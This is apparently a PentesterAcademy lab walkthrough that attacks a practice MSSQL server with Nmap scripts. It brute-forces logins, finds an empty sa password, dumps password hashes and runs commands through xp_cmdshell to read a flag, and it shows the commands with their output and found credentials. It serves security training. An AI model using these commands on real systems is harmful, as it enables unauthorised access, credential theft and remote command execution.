
ATTACK
DEFENSE
by PentesterAcademy

Name	Recon: MSSQL: Nmap Scripts
URL	https://attackdefense.com/challengedetails?cid=2313
Type	Windows Recon: MSSQL

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking the target IP address.

Note: The target IP address is stored in the "**target**" file.

Command: cat /root/Desktop/target

```
root@attackdefense:~# zsh
┌──(root㉿attackdefense)-[~]
└─# cat /root/Desktop/target
Target IP Address : 10.0.30.33

┌──(root㉿attackdefense)-[~]
└─#
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.30.33

```
┌──(root㉿attackdefense)-[~]
└─# nmap 10.0.30.33
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 15:07 IST
Nmap scan report for ip-10-0-30-33.ap-southeast-1.compute.internal (10.0.30.33)
Host is up (0.0013s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1433/tcp open  ms-sql-s
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 1.76 seconds

┌──(root㉿attackdefense)-[~]
└─#
```

Step 3: We have discovered that multiple ports are open. We will be focusing on port 1433 where the MSSQL server is running.

Running ms-sql-info nmap script to discover MSSQL server information.

Command: nmap --script ms-sql-info -p 1433 10.0.30.33

```
┌──(root㉿attackdefense)-[~]
└─# nmap --script ms-sql-info -p 1433 10.0.30.33
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 15:10 IST
Nmap scan report for ip-10-0-30-33.ap-southeast-1.compute.internal (10.0.30.33)
Host is up (0.0024s latency).

PORT     STATE SERVICE
1433/tcp open  ms-sql-s

Host script results:
| ms-sql-info:
|   10.0.30.33:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433

Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds

┌──(root㉿attackdefense)-[~]
└─#
```

We have found that the target is running "**Microsoft SQL Server 2019**".

Step 4: Running ms-sql-ntlm-info script to disclose more information.

"Sending an MS-TDS NTLM authentication request with an invalid domain and null credentials will cause the remote service to respond with an NTLMSSP message disclosing information to include NetBIOS, DNS, and OS build version."

Source ms-sql-ntlm-info.

Command: nmap -p 1433 --script ms-sql-ntlm-info --script-args mssql.instance-port=1433 10.0.30.33

```
┌──(root㉿attackdefense)-[~]
└─# nmap -p 1433 --script ms-sql-ntlm-info --script-args mssql.instance-port=1433 10.0.30.33

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 15:11 IST
Nmap scan report for ip-10-0-30-33.ap-southeast-1.compute.internal (10.0.30.33)
Host is up (0.0015s latency).

PORT     STATE SERVICE
1433/tcp open  ms-sql-s
| ms-sql-ntlm-info:
|   Target_Name: MSSQL-SERVER
|   NetBIOS_Domain_Name: MSSQL-SERVER
|   NetBIOS_Computer_Name: MSSQL-SERVER
|   DNS_Domain_Name: MSSQL-Server
|   DNS_Computer_Name: MSSQL-Server
|_  Product_Version: 10.0.14393

Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds

┌──(root㉿attackdefense)-[~]
└─#
```

Step 5: Identifying valid MSSQL users and their passwords using provided username and password list.

Command: nmap -p 1433 --script ms-sql-brute --script-args userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-passwords.txt 10.0.30.33

```
┌──(root㉿attackdefense)-[~]
└─# nmap -p 1433 --script ms-sql-brute --script-args userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-co
mmon-passwords.txt 10.0.30.33

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 15:13 IST
Nmap scan report for ip-10-0-30-33.ap-southeast-1.compute.internal (10.0.30.33)
Host is up (0.0060s latency).

PORT     STATE SERVICE
1433/tcp open  ms-sql-s
| ms-sql-brute:
|   [10.0.30.33:1433]
|     Credentials found:
|       dbadmin:bubbles1 => Login Success
|       auditor:jasmine1 => Login Success
|_      admin:anamaria => Login Success

Nmap done: 1 IP address (1 host up) scanned in 2.47 seconds

┌──(root㉿attackdefense)-[~]
└─#
```

Step 6: Running ms-sql-empty-password nmap script to check if sa user is enabled without any password.

Command: nmap -p 1433 --script ms-sql-empty-password 10.0.30.33

```
┌──(root㉿attackdefense)-[~]
└─# nmap -p 1433 --script ms-sql-empty-password 10.0.30.33
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 15:18 IST
Nmap scan report for ip-10-0-30-33.ap-southeast-1.compute.internal (10.0.30.33)
Host is up (0.0016s latency).

PORT     STATE SERVICE
1433/tcp open  ms-sql-s
| ms-sql-empty-password:
|   [10.0.30.33:1433]
|_    sa:<empty> => Login Success

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

┌──(root㉿attackdefense)-[~]
└─#
```

The sa user is enabled with <empty> - No Password.

Step 7: Extracting sysusers from MSSQL and storing the output in a file i.e output.txt

Command: nmap -p 1433 --script ms-sql-query --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-query.query="SELECT * FROM master..syslogins" 10.0.30.33 -oN output.txt
gvim output.txt

```
┌──(root㉿attackdefense)-[~]
└─# nmap -p 1433 --script ms-sql-query --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-query.query="S
ELECT * FROM master..syslogins" 10.0.30.33 -oN output.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 15:26 IST
Nmap scan report for ip-10-0-30-33.ap-southeast-1.compute.internal (10.0.30.33)
Host is up (0.0016s latency).

PORT     STATE SERVICE
1433/tcp open  ms-sql-s
| ms-sql-query:
|   [10.0.30.33:1433]
|     Query: SELECT * FROM master..syslogins
|       sid     status  createdate      updatedate      accdate totcpu  totio   spacelimit      timelimit       resultl
imit    name    dbname  password        language        denylogin       hasaccess       isntname        isntgroup     i
sntuser sysadmin        securityadmin   serveradmin     setupadmin      processadmin    diskadmin       dbcreator     b
ulkadmin        loginname
|       ===     ======  ==========      ==========      ======= ======  =====   ==========      =========       =======
====    ====    ======  ========        ========        =========       =========       ========        =========     =
======= ========        =============   ===========     ==========      ============    =========       =========     =
========        =========
|       0x01    9       2003-04-08T03:40:35     2021-01-21T04:17:38     2003-04-08T03:40:35     0       0       0     0
0       sa      master  Null    us_english      0       1       0       0       0       1       0       0       0     0
0       0       0       sa
|       0x0106000000000009010000001e501960278b270fd34191426bf0193fc0b4e786      10      2019-09-24T08:51:16     2019-09
-24T08:51:16    2019-09-24T08:51:16     0       0       0       0       0       ##MS_SQLResourceSigningCertificate##  m
aster   Null    Null    0       0       0       0       0       0       0       0       0       0       0     0
```

Open output.txt file using gvim

```
:io   spacelimit      timelimit       resultlimit     name    dbname  password        language        denylogin       hasaccess       isntname        isntgroup
nin      processadmin    diskadmin       dbcreator       bulkadmin       loginname
===   ==========      =========       ===========     ====    ======  ========        ========        =========       =========       ========        =========
===      ============    =========       ===========     =========       =========       =========
)3-04-08T03:40:35     0       0       0       0       0       sa      master  Null    us_english      0       1       0       0       0       1       0       0

      10      2019-09-24T08:51:16     2019-09-24T08:51:16     2019-09-24T08:51:16     0       0       0       0       0       ##MS_SQLResourceSigningCertificate##
0       0       0       0       0       0       0       ##MS_SQLResourceSigningCertificate##
      10      2019-09-24T08:51:16     2019-09-24T08:51:16     2019-09-24T08:51:16     0       0       0       0       0       ##MS_SQLReplicationSigningCertificate
0       0       0       0       0       0       0       ##MS_SQLReplicationSigningCertificate##
      10      2019-09-24T08:51:16     2019-09-24T08:51:16     2019-09-24T08:51:16     0       0       0       0       0       ##MS_SQLAuthenticatorCertificate##
0       0       0       0       0       0       0       ##MS_SQLAuthenticatorCertificate##
      10      2019-09-24T08:51:16     2019-09-24T08:51:16     2019-09-24T08:51:16     0       0       0       0       0       ##MS_PolicySigningCertificate## maste
0       0       0       0       0       0       0       ##MS_PolicySigningCertificate##
      10      2019-09-24T08:51:16     2019-09-24T08:51:16     2019-09-24T08:51:16     0       0       0       0       0       ##MS_SmoExtendedSigningCertificate##
0       0       0       0       0       0       0       ##MS_SmoExtendedSigningCertificate##
3     2021-01-20T01:47:08     2019-09-24T08:51:53     0       0       0       0       0       ##MS_PolicyEventProcessingLogin##       master  Null    us_english
0       0       0       0       0       ##MS_PolicyEventProcessingLogin##
3     2021-01-20T01:47:08     2019-09-24T08:51:53     0       0       0       0       0       ##MS_PolicyTsqlExecutionLogin## master  Null    us_english      0
0       0       0       0       ##MS_PolicyTsqlExecutionLogin##
      9       2019-09-24T08:51:58     2019-09-24T08:51:58     2019-09-24T08:51:58     0       0       0       0       0       ##MS_AgentSigningCertificate##  maste
0       0       0       0       0       0       0       ##MS_AgentSigningCertificate##
      2021-01-20T01:47:08     2021-01-20T01:47:08     2021-01-20T01:47:08     0       0       0       0       0       EC2AMAZ-5861GL6\Administrator   master  Null
0       0       0       0       0       0       EC2AMAZ-5861GL6\Administrator
      9       2021-01-20T01:47:08     2021-01-20T01:47:08     2021-01-20T01:47:08     0       0       0       0       0       NT SERVICE\SQLWriter    master  Null
0       0       0       0       0       0       NT SERVICE\SQLWriter
      9       2021-01-20T01:47:08     2021-01-20T01:47:08     2021-01-20T01:47:08     0       0       0       0       0       NT SERVICE\Winmgmt      master  Null
0       0       0       0       0       0       NT SERVICE\Winmgmt
      9       2021-01-20T01:47:08     2021-01-20T01:47:08     2021-01-20T01:47:08     0       0       0       0       0       NT Service\MSSQL$SQLEXPRESS     maste
0       0       0       0       0       0       0       NT Service\MSSQL$SQLEXPRESS
3     2021-01-20T01:47:08     2021-01-20T01:47:08     0       0       0       0       0       BUILTIN\Users   master  Null    us_english      0       1       1
0       BUILTIN\Users
21-01-20T02:50:35     2021-01-20T01:47:08     0       0       0       0       0       NT AUTHORITY\SYSTEM     master  Null    us_english      0       1       1
0       NT AUTHORITY\SYSTEM
      9       2021-01-20T01:47:09     2021-01-20T01:47:09     2021-01-20T01:47:09     0       0       0       0       0       NT SERVICE\SQLTELEMETRY$SQLEXPRESS
0       0       0       0       0       0       0       0       NT SERVICE\SQLTELEMETRY$SQLEXPRESS
3     2021-01-20T02:48:23     2021-01-20T02:48:23     0       0       0       0       0       admin   master  Null    us_english      0       1       0       0
admin
3     2021-01-20T02:50:36     2021-01-20T02:50:33     0       0       0       0       0       Mssql   master  Null    us_english      0       1       0       0
Mssql
5     2021-01-20T03:15:57     2021-01-20T03:01:26     0       0       0       0       0       Mssqla  master  Null    us_english      0       1       0       0
Mssqla
4     2021-01-20T03:31:14     2021-01-20T03:31:14     0       0       0       0       0       auditor master  Null    us_english      0       1       0       0
auditor
7     2021-01-20T03:31:47     2021-01-20T03:31:47     0       0       0       0       0       dbadmin master  Null    us_english      0       1       0       0
dbadmin
```

Step 8: Dump the hashes of MSSQL users

Command: nmap -p 1433 --script ms-sql-dump-hashes --script-args mssql.username=admin,mssql.password=anamaria 10.0.30.33

```
┌──(root㉿attackdefense)-[~]
└─# nmap -p 1433 --script ms-sql-dump-hashes --script-args mssql.username=admin,mssql.password=anamaria 10.0.30.33

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 15:31 IST
Nmap scan report for ip-10-0-30-33.ap-southeast-1.compute.internal (10.0.30.33)
Host is up (0.0017s latency).

PORT     STATE SERVICE
1433/tcp open  ms-sql-s
| ms-sql-dump-hashes:
| [10.0.30.33:1433]
|     sa:0x02009818a9840f252b9af1ece8e548aa363bae4787e885d5204dae8554af72896898920b1cc347bc3882e45935ce7e615cecd4e333c8f36cb21239836c4198314b7ab517a6f2
|     ##MS_PolicyEventProcessingLogin##:0x0200191cf079f310fb475527ac320aba7a4e8d5c3567bef2462b96ce8a8629b7f986ed344aa0963ac3a096da77056dad77a457644431282e2aa2c2243bc635abc6bb5f52552c
|     ##MS_PolicyTsqlExecutionLogin##:0x0200677385acfe08bb1119246cf20f9d17c3a0d86bbb1d48874725f2c2e0e021260b885d0ba067427e09afad9079e6759ad6497ee7f1ef3cd497d500585d7727eeba64426083
|     admin:0x02003814edd67dcab815b733d877a0fe7ec3470185864bd673c7273ba76c31e000c15e9fae25a826f6ba03892e37d6a1acae17f171d21dad7b20d874ccc259bbf9fa2230b9c0
|     Mssql:0x02001786154bb350ac708b5a4c3fc6b90dc68418a13ba5fcb76b155f8eee14d72988edb559d9a2d0d6fd5dd25b1fab8431c0ca424d747a5743624c30aa772b40c8f23c66e6a4
|     Mssqla:0x0200987f06858112a7fa0c70fe3f53c64061b35ae864782fc9cfcda3954ed60ca7e47e8497a571d177edb596f125cb529d7b2753e4d8e913c2b127a12207e3bcb75f70e29cb5
|     auditor:0x020061cbe8509dfea47fbc20be854c4ac517bf6aa67f9f7c12d7d1efb1f500be279643c6cd19d370f9eff4f2d9b981a16f6916bc4534e8ba42d718f8b908fbfffb40d5cc1a5e
|_    dbadmin:0x02000d6c6a0d55f536f9dbff2d8cc1e0965c550e1a1a1e7c6df8b7e6534ab817408f86dd9592b206862c4b7a3d1f6ca85f439360171d7c5143d6fba8606675dbaf5bea40d15b

Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
```

Step 9: Execute a command using xp_cmdshell using Nmap script.

Command: nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="ipconfig" 10.0.30.33

```
┌──(root㉿attackdefense)-[~]
└─# nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="ipconfig" 10.0.30.33
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 15:32 IST
Nmap scan report for ip-10-0-30-33.ap-southeast-1.compute.internal (10.0.30.33)
Host is up (0.0016s latency).

PORT     STATE SERVICE
1433/tcp open  ms-sql-s
| ms-sql-xp-cmdshell:
|   [10.0.30.33:1433]
|     Command: ipconfig
|       output
|       ======
|       Null
|       Windows IP Configuration
|       Null
|       Null
|       Ethernet adapter Ethernet:
|       Null
|          Connection-specific DNS Suffix  . : ap-southeast-1.compute.internal
|          Link-local IPv6 Address . . . . . : fe80::6019:8b0d:b012:715f%3
|          IPv4 Address. . . . . . . . . . . : 10.0.30.33
|          Subnet Mask . . . . . . . . . . . : 255.255.240.0
|          Default Gateway . . . . . . . . . : 10.0.16.1
|       Null
|       Tunnel adapter Local Area Connection* 3:
|       Null
|          Connection-specific DNS Suffix  . :
|          IPv6 Address. . . . . . . . . . . : 2001:0:2851:782c:14f0:b65:f5ff:e1de
|          Link-local IPv6 Address . . . . . : fe80::14f0:b65:f5ff:e1de%6
|          Default Gateway . . . . . . . . . : ::
|       Null
|       Tunnel adapter isatap.ap-southeast-1.compute.internal:
|       Null
|          Media State . . . . . . . . . . . : Media disconnected
|          Connection-specific DNS Suffix  . : ap-southeast-1.compute.internal
```

Note: We can execute remote on the target server because MSSQL service is configured with xp_cmdshell enabled, by default it is disabled.

Step 10: Reading the flag using xp_cmdshell.

Command: nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="type c:\flag.txt" 10.0.30.33

```
┌──(root㉿attackdefense)-[~]
└─# nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd=
"type c:\flag.txt" 10.0.30.33

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 15:33 IST
Nmap scan report for ip-10-0-30-33.ap-southeast-1.compute.internal (10.0.30.33)
Host is up (0.0016s latency).

PORT     STATE SERVICE
1433/tcp open  ms-sql-s
| ms-sql-xp-cmdshell:
|   [10.0.30.33:1433]
|     Command: type c:\flag.txt
|       output
|       ======
|_      1d1803570245aa620446518b2154f324

Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds


┌──(root㉿attackdefense)-[~]
└─#
```

Flag: 1d1803570245aa620446518b2154f324

References:

1. MSSQL (https://www.microsoft.com/en-in/sql-server/sql-server-2019)
2. Nmap (https://nmap.org/)
3. Nmap scripts (https://nmap.org/nsedoc/scripts/)